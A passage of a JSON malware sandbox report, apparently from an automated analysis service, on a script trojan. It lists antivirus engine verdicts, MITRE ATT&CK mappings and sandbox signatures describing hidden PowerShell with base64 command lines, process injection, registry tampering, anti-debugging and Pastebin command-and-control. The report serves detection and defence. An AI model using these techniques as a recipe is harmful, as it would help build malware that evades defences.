trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"HEUR:Trojan.Script.SAgent.gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Script.Heuristic-js.iacgm","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{},"mitre_attacks":[{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"informative","value":"Observed Powershell command strings"},{"type":"informative","value":"Windows Script Host executes Powershell"},{"type":"informative","value":"Executes Powershell command strings"},{"type":"malicious","value":"Executes powershell requesting to bypass execution policy"},{"type":"suspicious","value":"Executes powershell with commandline"},{"type":"informative","value":"Commandline contains PowerShell"}],"sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the .NET runtime environment"}],"sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Creates new processes"}],"sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"tactic":"Execution","technique":"JavaScript","attack_id":"T1059.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/007","identifiers":[{"type":"suspicious","value":"Executes a JavaScript file"}],"sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"tactic":"Execution","technique":"Malicious File","attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"malicious","value":"Script file shows a combination of malicious behavior"}],"sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"tactic":"Persistence","technique":"DLL Side-Loading","attack_id":"T1574.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/002","identifiers":[{"type":"informative","value":"Fails to load modules at runtime"}],"sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"suspicious","value":"Writes data to a remote process"},{"type":"malicious","value":"Windows system process connects to a network"}],"sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"}],"sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Calls an API typically used to acquire handle to a key container within a CSP"},{"type":"informative","value":"Dropped file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"suspicious","value":"Invokes a process with a long commandline"}],"sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"},{"type":"suspicious","value":"Contains escaped byte string (often part of obfuscated shellcode)"},{"type":"suspicious","value":"Ability to hide a payload in the commandline"},{"type":"informative","value":"Contains ability to decode base64 data"},{"type":"informative","value":"Calls an API typically used to decrypt a block of data"}],"sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Modifies proxy settings"},{"type":"informative","value":"Writes registry keys"},{"type":"informative","value":"Modifies Software Policy Settings"},{"type":"informative","value":"Accesses System Certificates Settings"}],"sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"},{"type":"informative","value":"Renames files"}],"sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"suspicious","value":"Uses powershell with a windows hidden commandline param"}],"sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"suspicious","value":"Contains ability to load binary assembly using powershell"}],"sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"},{"type":"informative","value":"Tries to map intranet network resources to internet zone"}],"sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Opens file with deletion access rights"},{"type":"informative","value":"Marks file for deletion"}],"sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"tactic":"Defense Evasion","technique":"Double File Extension","attack_id":"T1036.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/007","identifiers":[{"type":"informative","value":"Renames files with double extension (often done by ransomware)"}],"sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal","attack_id":"T1070","attack_id_wiki":"https://attack.mitre.org/techniques/T1070","identifiers":[{"type":"informative","value":"Deletes registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"References Windows filepaths for DLLs (possible dropped files)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Calls an API's typically used for searching a directory for a files"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access recent files"},{"type":"informative","value":"Tries to access LNK files (Windows shortcut)"},{"type":"informative","value":"Tries to access Powershell profile file"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"}],"sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Calls an API typically used to open an existing named mutex object"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Reads the windows installation date"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"}],"sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries sensitive IE security settings"},{"type":"informative","value":"Accesses Software Policy Settings"},{"type":"informative","value":"Queries registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"}],"sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"}],"sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"informative","value":"Calls an API typically used to enumerate active windows"}],"sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"tactic":"Lateral Movement","technique":"Remote Services","attack_id":"T1021","attack_id_wiki":"https://attack.mitre.org/techniques/T1021","identifiers":[{"type":"informative","value":"Calls an API typically used to register an interface (RPC)"}],"sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Queries the display settings of system associated file extensions"}],"sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"tactic":"Collection","technique":"Archive Collected Data","attack_id":"T1560","attack_id_wiki":"https://attack.mitre.org/techniques/T1560","identifiers":[{"type":"informative","value":"Drops cabinet archive files"}],"sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Contacts server"},{"type":"suspicious","value":"Spawned process connects to a network"},{"type":"informative","value":"Found potential URL in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"suspicious","value":"Shows ability to use data encoding technique"},{"type":"informative","value":"Commandline contains long base64 encoded string"}],"sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Calls an API typically to import asymmetric cryptographic keys into a CSP"},{"type":"informative","value":"Calls an API typically used to encrypt a block of data"}],"sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Calls an API typically used to open a HTTP requests"},{"type":"informative","value":"Calls an API typically used to to receive the response to a HTTP requests"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Calls an API typically used to communicate with HTTP server"},{"type":"informative","value":"Calls an API typically used to send the specified request to the HTTP server"}],"sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"suspicious","value":"References URL in command line"},{"type":"informative","value":"Dropped files"}],"sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"tactic":"Command and Control","technique":"Bidirectional Communication","attack_id":"T1102.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1102/002","identifiers":[{"type":"informative","value":"Contains ability to upload or download data from a specified domain"}],"sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Uses HTTPS for communication"}],"sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"tactic":"Command and Control","technique":"Web Service","attack_id":"T1102","attack_id_wiki":"https://attack.mitre.org/techniques/T1102","identifiers":[{"type":"suspicious","value":"Contact Pastebin domains (possible C&C communication)"}],"sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to shutdown system"}],"sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Calls an API typically to import cryptographic keys into a CSP"}],"sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to find a resource in a module","description":"\"WScript.exe\" called \"FindResourceW\" with parameter \"1\" - (UID: 00000000-00002496)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to load a resource in memory","description":"\"WScript.exe\" called \"LoadResource with parameter {'hModule': '1897070592', 'hResInfo': '1898226192'}\" (UID: 00000000-00002496)\n \"WScript.exe\" called \"LoadResource with parameter {'hModule': '4980737', 'hResInfo': '4981392'}\" (UID: 00000000-00002496)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to use Cryptographic classes","description":"file/memory contains long string with (Indicator: \"RC2\"; Source: \"00000000-00004012-00000C97-69616754\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Renames files","description":"\"powershell.exe\" renamed original file\"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\d93f411851d7c929.customDestinations-ms\" to \"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\d93f411851d7c929.customDestinations-ms~RFfb03c.TMP\"\n \"powershell.exe\" renamed original file\"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\U0A9651DLQGT4I9ZN4R3.temp\" to \"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\d93f411851d7c929.customDestinations-ms\"\n \"powershell.exe\" renamed original file\"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\d93f411851d7c929.customDestinations-ms\" to \"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\d93f411851d7c929.customDestinations-ms~RFfcfe9.TMP\"\n \"powershell.exe\" renamed original file\"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\HMJ91T85MNXB5SRG2NLH.temp\" to \"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\d93f411851d7c929.customDestinations-ms\"","origin":"API Call","mitre_attack_id":"T1036","relevance":1,"id":"api-162","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Tries to map intranet network resources to internet zone","description":"\"WScript.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"UNCASINTRANET\"; Value: \"00000000\")","origin":"Registry Access","mitre_attack_id":"T1562.001","relevance":1,"id":"registry-179","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: 4294967295); (PID: 2316)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: 4294967295); (PID: 4012)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically to import asymmetric cryptographic keys into a CSP","description":"$25","origin":"API Call","mitre_attack_id":"T1573.002","relevance":1,"id":"api-234","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically to import cryptographic keys into a CSP","description":"$26","origin":"API Call","mitre_attack_id":"T1486","relevance":1,"id":"api-233","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to acquire handle to a key container within a CSP","description":"\"powershell.exe\" called \"CryptAcquireContextA\" with parameters {\"phProv\": \"88ae2a00\"\n \"dwProvType\": \"1\"\n \"dwFlags\": \"4026531872\"}\n \"powershell.exe\" called \"CryptAcquireContextA\" with parameters {\"phProv\": \"b0bf2100\"\n \"dwProvType\": \"1\"\n \"dwFlags\": \"4026531872\"}\n \"powershell.exe\" called \"CryptAcquireContextA\" with parameters {\"phProv\": \"80cd2100\"\n \"dwProvType\": \"1\"\n \"dwFlags\": \"4026531872\"}","origin":"API Call","mitre_attack_id":"T1027","relevance":1,"id":"api-228","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to decrypt a block of data","description":"$27","origin":"API Call","mitre_attack_id":"T1140","relevance":3,"id":"api-207","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to encrypt a block of data","description":"$28","origin":"API Call","mitre_attack_id":"T1573.002","relevance":3,"id":"api-206","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode base64 data","description":"file/memory contains long string with (Indicator: \"FromBase64String\"; File: \"powershell.exe\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-106","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Cryptographic Related","name":"Dropped file has high entropy (likely encrypted/compressed content)","description":"Dropped file \"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\77EC63BDA74BD0D0E0426DC8F8008506\" has high entropy 7.995531727155867","origin":"Binary File","mitre_attack_id":"T1027","relevance":5,"id":"binary-60","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Commandline contains long base64 encoded string\n Matched sigs: Contains ability to decode base64 data","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings\n Matched sigs: Commandline contains long base64 encoded string\n Matched sigs: Contains ability to use Cryptographic classes\n Matched sigs: Contains ability to decode base64 data\n Matched sigs: Calls an API typically used to decrypt a block of data\n Matched sigs: Calls an API typically to import asymmetric cryptographic keys into a CSP\n Matched sigs: Dropped file has high entropy (likely encrypted/compressed content)\n Matched sigs: Reads the cryptographic machine GUID\n Matched sigs: Calls an API typically used to encrypt a block of data\n Matched sigs: Calls an API typically to import cryptographic keys into a CSP","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"WScript.exe\" called \"GetForegroundWindow\" (UID: 00000000-00002496)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"WScript.exe\" called \"IsWow64Process\" with parameter \"2496\" - (UID: 00000000-00002496)\n \"powershell.exe\" called \"IsWow64Process\" with parameter \"2316\" - (UID: 00000000-00002316)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00002316)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00004012)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"WScript.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00002496)\n \"powershell.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00002316)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$29","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to open an existing named mutex object","description":"\"powershell.exe\" called \"OpenMutexW\" with parameter \"Global\\CLR_CASOFF_MUTEX\" - (UID: 00000000-00002316)\n \"powershell.exe\" called \"OpenMutexW\" with parameter \"Global\\CLR_CASOFF_MUTEX\" - (UID: 00000000-00004012)\n \"powershell.exe\" called 